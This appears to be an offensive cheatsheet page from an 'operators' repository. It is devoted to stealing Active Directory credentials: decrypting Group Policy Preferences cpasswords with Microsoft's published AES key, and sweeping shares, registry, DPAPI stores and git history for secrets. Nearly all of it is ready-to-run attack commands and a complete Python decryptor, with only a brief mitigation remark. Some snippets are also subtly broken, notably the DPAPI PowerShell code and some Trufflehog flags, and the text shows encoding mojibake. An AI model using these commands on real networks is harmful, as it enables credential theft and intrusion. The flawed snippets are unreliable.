repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
attack-10-credential-hunting-in-shares-gpp-passwords.mdMarkdown612 lines34.1 KiBsource raw download

๐Ÿ”ด Attack #10 โ€” Credential Hunting in Shares / GPP Passwords#


๐Ÿ“– How It Works#

This attack is split into two closely related techniques: GPP Password Decryption (a specific catastrophic vulnerability) and broad credential hunting across network shares (a methodology). Both rely on the same fundamental reality โ€” administrators leave plaintext or weakly obfuscated credentials scattered across the network in scripts, config files, Group Policy XML files, and fileshares, readable by any authenticated domain user.

GPP Passwords are the crown jewel of this category. Group Policy Preferences (GPP) allowed administrators to configure local account passwords, mapped drives, scheduled tasks, and services across the entire domain via XML files stored in the SYSVOL share. Microsoft embedded these passwords encrypted with AES-256 โ€” but then published the encryption key in their own MSDN documentation. Every authenticated domain user has read access to SYSVOL, and the AES key is public, meaning any cpassword field in any GPP XML file is effectively plaintext. Microsoft patched the ability to create new GPP passwords via MS14-025 in 2014, but existing GPP passwords were never removed โ€” and thousands of enterprise environments still have them sitting in SYSVOL today.

The published AES-256-CBC key is:

4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b

โš ๏ธ Windows 11 / Server 2025: GPP functionality is deprecated in favor of LAPS (Local Administrator Password Solution). However, legacy GPP XML files remain unencrypted in SYSVOL on any DC still supporting older group policies. Modern deployments should use LAPS v2 (Windows LAPS) instead โ€” see Attack #72 for modern mitigation techniques. If you find GPP passwords in a 2025+ environment, it indicates legacy policy mismanagement.

GPP XML Files to Target#

File What It Configures
Groups.xml Local administrator accounts + passwords
Services.xml Service account credentials
Scheduledtasks.xml Scheduled task run-as credentials
DataSources.xml Database connection string credentials
Drives.xml Mapped drive credentials
Printers.xml Printer connection credentials

Broader Credential Hunting Locations#

Location What to Look For
\\DC\SYSVOL\ GPP XML files (cpassword), logon scripts with embedded creds
\\DC\NETLOGON\ Legacy logon scripts (.bat, .vbs, .ps1) with hardcoded passwords
C:\ / File shares web.config, appsettings.json, .env, *.config โ€” database passwords
IT shares (\\FS01\IT\) Admin toolkits, installation scripts, password lists
Home drives User-saved credential files, KeePass databases (.kdbx)
Sticky notes / Desktop passwords.txt, creds.xlsx โ€” embarrassingly common
Registry AutoLogon credentials, LSA cached credentials
IIS / Web configs Connection strings with SQL sa password
Git repositories Hardcoded API keys, passwords committed to internal repos

โš™๏ธ Prerequisites#

Requirement Detail
Any valid domain user SYSVOL is readable by all Authenticated Users โ€” zero privilege needed
Network access to DC Port 445 (SMB) to read SYSVOL and NETLOGON shares
Read access to file shares For broader credential hunting beyond SYSVOL
MS14-025 not applied If patched, new GPPs can't be created โ€” but old ones still exist

๐Ÿ› ๏ธ Tools#

Tool Platform Role
Get-GPPPassword.ps1 (PowerSploit) Windows Auto-finds and decrypts all GPP cpasswords in SYSVOL
Impacket โ€” Get-GPPPassword.py Linux Remote GPP hunting without domain-joined machine
CrackMapExec / NetExec Linux --gpp-passwords module โ€” fast automated sweep
gpp-decrypt Linux CLI tool to decrypt a single cpassword string
pypykatz Linux gppass subcommand decrypts cpassword
Metasploit Both post/windows/gather/credentials/gpp module
Snaffler Windows Deep credential hunter across all accessible shares
PowerHuntShares Windows PowerShell share auditing + credential discovery
SauronEye Windows Targeted file content search across shares
Trufflehog Linux Scans git repos for secrets, API keys, hardcoded creds
Seatbelt Windows Enumerates credential-related registry keys, cached credentials
findstr / grep Both Manual pattern-based credential search
BloodHound Both Identifies SYSVOL access paths and share permissions

๐Ÿ’ป Full Commands#

๐Ÿ”ต Part 1 โ€” GPP Password Attacks#

๐Ÿ”ด Impacket โ€” Get-GPPPassword.py (Linux โ€” Fastest Method)#

# โ”€โ”€ Automatically find and decrypt ALL GPP passwords from Linux โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Get-GPPPassword.py corp.local/low_user:'Password1'@DC01.corp.local

# โ”€โ”€ Using NT hash (no plaintext password) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Get-GPPPassword.py -hashes :8846f7eaee8fb117ad06bdd830b7586c \
  corp.local/low_user@DC01.corp.local

# โ”€โ”€ Parse a locally downloaded XML file โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Get-GPPPassword.py -xmlfile /tmp/Groups.xml LOCAL

# โ”€โ”€ With Kerberos ticket โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
export KRB5CCNAME=low_user.ccache
Get-GPPPassword.py -k -no-pass corp.local/low_user@DC01.corp.local

๐Ÿ”ด NetExec โ€” GPP Password Module (Linux)#

# โ”€โ”€ Sweep all GPP passwords across all accessible DCs โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
nxc smb 10.10.10.10 -u low_user -p 'Password1' -M gpp_password

# โ”€โ”€ Using NT hash โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
nxc smb 10.10.10.10 -u low_user -H 8846f7eaee8fb117ad06bdd830b7586c -M gpp_password

# โ”€โ”€ Find autologon credentials stored in GPP (separate module) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
nxc smb 10.10.10.10 -u low_user -p 'Password1' -M gpp_autologin

๐Ÿ”ด PowerSploit โ€” Get-GPPPassword (Windows / Domain-Joined)#

# โ”€โ”€ Import and run Get-GPPPassword โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Import-Module .\PowerSploit\Exfiltration\Get-GPPPassword.ps1

# Find and decrypt ALL GPP passwords in SYSVOL
Get-GPPPassword

# Output with full details
Get-GPPPassword | Select-Object UserName, Password, Changed, File | Format-Table

# โ”€โ”€ Manual PowerShell search for cpassword โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Get-ChildItem '\\corp.local\SYSVOL' -Recurse -Include *.xml -ErrorAction SilentlyContinue |
  Select-String -Pattern 'cpassword' |
  Select-Object Path, LineNumber, Line

# โ”€โ”€ Inline search with findstr (no tools needed) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
findstr /S /I cpassword \\corp.local\sysvol\*.xml

๐Ÿ”ด Manual SYSVOL Enumeration + Decryption (Linux)#

# โ”€โ”€ Mount SYSVOL share locally โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
sudo mount -t cifs //10.10.10.10/SYSVOL /tmp/sysvol \
  -o username=low_user,password=Password1,domain=corp.local

# โ”€โ”€ Recursively search for cpassword โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
grep -ria cpassword /tmp/sysvol/ 2>/dev/null

# โ”€โ”€ Find ALL XML files in SYSVOL โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
find /tmp/sysvol/ -name "*.xml" -exec grep -l "cpassword" {} \;

# โ”€โ”€ View a specific Groups.xml file โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
cat "/tmp/sysvol/corp.local/Policies/{GUID}/Machine/Preferences/Groups/Groups.xml"

# โ”€โ”€ Sample GPP XML cpassword entry looks like: โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
# <Properties ... cpassword="j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"
#   userName="Administrator" .../>

# โ”€โ”€ Decrypt with gpp-decrypt โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
# Output: MySecretPassword123

# โ”€โ”€ Decrypt with pypykatz โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
pypykatz gppass j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

# โ”€โ”€ Manual decryption using Python โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
python3 - <<'EOF'
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

cpassword = "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"
# Pad base64 string
padding = "=" * (4 - len(cpassword) % 4)
encrypted = base64.b64decode(cpassword + padding)

# The published Microsoft AES key
key = bytes.fromhex("4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b")
iv = b'\x00' * 16

cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(encrypted)
# Decode UTF-16LE (Windows Unicode)
password = decrypted.decode('utf-16-le').rstrip('\x00')
print(f"Decrypted password: {password}")
EOF

๐Ÿ”ต Part 2 โ€” Broad Credential Hunting in Shares#

๐Ÿ”ด Snaffler โ€” Deep Share Credential Hunter (Windows โ€” Best Tool for This)#

# โ”€โ”€ Install / run Snaffler (finds credentials across ALL accessible shares) โ”€โ”€โ”€
.\Snaffler.exe -s -d corp.local -o snaffler_output.log -v data

# โ”€โ”€ Flags explained:
# -s      = start snaffling immediately
# -d      = target domain
# -o      = output file
# -v data = verbose, show file contents with credentials

# โ”€โ”€ Run against specific shares only โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
.\Snaffler.exe -s -d corp.local -n "\\FS01\IT\" -o output.log

# โ”€โ”€ Snaffler classifies finds by severity โ€” look for RED and YELLOW hits:
# ๐Ÿ”ด RED   = credentials / passwords (highest value)
# ๐ŸŸก YELLOW = interesting config files / sensitive data
# ๐ŸŸข GREEN = potentially interesting

# โ”€โ”€ Snaffler finds these automatically:
# web.config with <connectionStrings> passwords
# appsettings.json with database passwords
# .env files with API keys / DB credentials
# id_rsa private SSH keys
# .rdp files with saved passwords
# PowerShell scripts with hardcoded credentials
# KeePass .kdbx databases
# PuTTY saved sessions with passwords
# password.txt / creds.txt / passwords.xlsx

๐Ÿ”ด NetExec โ€” Share Enumeration + Spider (Linux)#

# โ”€โ”€ Enumerate all accessible shares across subnet โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
nxc smb 10.10.10.0/24 -u low_user -p 'Password1' --shares

# โ”€โ”€ Spider a specific share and search for credential-related files โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
nxc smb 10.10.10.10 -u low_user -p 'Password1' -M spider_plus \
  --share IT --pattern "password,pass,cred,secret,key"

# โ”€โ”€ Download files matching pattern โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
nxc smb 10.10.10.10 -u low_user -p 'Password1' -M spider_plus \
  --share "Users" --pattern ".xml,.config,.txt,.ps1,.bat,.vbs"

๐Ÿ”ด Trufflehog โ€” Git Repo Credential Scanning (Linux)#

# โ”€โ”€ Clone internal git repo and scan for secrets โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
git clone https://internal-git.corp.local/repo.git
trufflehog git file://./repo --json

# โ”€โ”€ Scan for specific patterns: AWS keys, API tokens, hardcoded passwords โ”€โ”€โ”€โ”€โ”€
trufflehog git file://./repo --regex --patterns "AKIA[0-9A-Z]{16}" --patterns "password.*=.*"

# โ”€โ”€ Scan all git history (may find deleted credentials) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
trufflehog git file://./repo --scan-entire-history

# โ”€โ”€ Output format โ€” look for "verified" secrets (real credentials, not false positives)
# "verified": true indicates a secret that passed entropy check

๐Ÿ”ด Seatbelt โ€” Windows Credential Enumeration (Windows)#

# โ”€โ”€ Run Seatbelt with credential modules โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
.\Seatbelt.exe -group=credentials

# โ”€โ”€ Specific credential modules:
.\Seatbelt.exe LogonPasswords   # LSA cached credentials + plaintext
.\Seatbelt.exe SavedRDPConnections  # RDP .rdp files with saved creds
.\Seatbelt.exe MasterKeys      # DPAPI master keys (needed for credential decryption)
.\Seatbelt.exe CredentialManager   # Windows Credential Manager entries
.\Seatbelt.exe PuttySSHKeys     # PuTTY SSH private keys

# โ”€โ”€ Extract all cached credentials
.\Seatbelt.exe -outputfile=seatbelt_creds.txt

๐Ÿ”ด DPAPI Credential Extraction (Windows)#

# โ”€โ”€ Extract cached DPAPI credentials โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Get-ChildItem -Path $env:LOCALAPPDATA\Microsoft\Credentials\*
Get-ChildItem -Path $env:APPDATA\Microsoft\Credentials\*

# โ”€โ”€ Decrypt DPAPI credentials (requires user session or admin) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Add-Type -AssemblyName System.Security
$cred_blob = [System.IO.File]::ReadAllBytes("C:\Users\user\AppData\Local\Microsoft\Credentials\ABC123")
$dpapi = New-Object System.Security.Cryptography.DataProtectionScope("CurrentUser")
$protected = New-Object System.Security.Cryptography.ProtectedData
[System.Text.Encoding]::UTF8.GetString($protected.Unprotect($cred_blob, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser))

# โ”€โ”€ Alternative โ€” use Mimikatz for DPAPI master key extraction โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
mimikatz.exe "dpapi::masterkey /in:C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-... /system:system.reg"

๐Ÿ”ด Manual Share Credential Hunting (Windows โ€” No Tools)#

# โ”€โ”€ Find password strings in NETLOGON scripts โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
findstr /S /I "password" \\corp.local\NETLOGON\*.bat
findstr /S /I "password" \\corp.local\NETLOGON\*.ps1
findstr /S /I "password" \\corp.local\NETLOGON\*.vbs

# โ”€โ”€ Hunt across common IT share patterns โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
findstr /S /I "password" \\FS01\IT\*.txt
findstr /S /I "password" \\FS01\IT\*.ps1
findstr /S /I "password" \\FS01\IT\*.bat
findstr /S /I "password" \\FS01\Scripts\*.xml

# โ”€โ”€ Find web.config files with credentials โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Get-ChildItem -Recurse -Filter "web.config" \\FS01\ |
  Select-String "password|connectionString" | Select-Object Path, Line

# โ”€โ”€ Hunt for KeePass databases โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Get-ChildItem -Recurse -Filter "*.kdbx" \\FS01\ 2>$null

# โ”€โ”€ Hunt for private SSH keys โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Get-ChildItem -Recurse -Filter "id_rsa" \\FS01\ 2>$null

# โ”€โ”€ Registry AutoLogon credentials (local machine) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
# Look for: DefaultUserName, DefaultPassword, DefaultDomainName

๐Ÿ”ด Manual Share Credential Hunting (Linux โ€” Mounted Share)#

# โ”€โ”€ Mount a target share โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
sudo mount -t cifs //10.10.10.20/IT /tmp/IT_share \
  -o username=low_user,password=Password1,domain=corp.local

# โ”€โ”€ Grep for password strings recursively โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
grep -ria "password\|passwd\|pwd\|credentials\|secret" /tmp/IT_share/ \
  --include="*.xml" --include="*.config" --include="*.txt" \
  --include="*.ps1" --include="*.bat" --include="*.vbs" \
  --include="*.json" --include="*.env" \
  2>/dev/null

# โ”€โ”€ Find connection strings (database passwords) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
grep -ria "connectionString\|Data Source\|Initial Catalog\|User ID\|Password=" \
  /tmp/IT_share/ 2>/dev/null

# โ”€โ”€ Find hardcoded NTLM hashes โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
grep -riaP "[0-9a-f]{32}:[0-9a-f]{32}" /tmp/IT_share/ 2>/dev/null

# โ”€โ”€ Find AWS/Azure/API keys โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
grep -riaP "(AKIA[0-9A-Z]{16}|AIza[0-9A-Za-z\-_]{35}|secret_key|api_key)" \
  /tmp/IT_share/ 2>/dev/null

๐Ÿ”ด Hunting Credentials in Registry (Windows)#

# โ”€โ”€ AutoLogon credentials โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" |
  Select-Object DefaultUserName, DefaultPassword, DefaultDomainName

# โ”€โ”€ PuTTY saved sessions (may contain proxy passwords) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s

# โ”€โ”€ Windows Credential Manager โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
cmdkey /list

# โ”€โ”€ VNC saved passwords โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
reg query HKLM\SOFTWARE\RealVNC\WinVNC4 /v password
reg query HKCU\Software\TightVNC\Server

# โ”€โ”€ SNMP community strings โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s

# โ”€โ”€ SCCM / ConfigMgr NAA credentials โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Get-WmiObject -Namespace root\ccm\policy\Machine\ActualConfig `
  -Class CCM_NetworkAccessAccount 2>$null

๐Ÿ”ด Hunting Credentials with PowerView (Domain-Wide)#

Import-Module .\PowerView.ps1

# โ”€โ”€ Find all accessible shares across the domain โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Find-DomainShare -Verbose

# โ”€โ”€ Find interesting files on accessible shares โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Find-InterestingDomainShareFile -Include "*.config","*.xml","*.txt","*.bat","*.ps1"

# โ”€โ”€ Find GPP passwords specifically โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Get-DomainGPO | Get-GPPPassword

# โ”€โ”€ Search for password files across domain โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Find-InterestingDomainShareFile -Include "*password*","*creds*","*credential*"

๐Ÿงฉ Troubleshooting#

Error Cause Fix
gpp-decrypt returns garbage / mojibake Incorrect base64 padding or corrupted cpassword field Verify cpassword string is complete; check for XML encoding issues; try pypykatz instead
SYSVOL mount fails: "Permission denied" User account doesn't have read access to SYSVOL share Verify user is in domain (not local); try with different credentials; check SMB 445 firewall rule
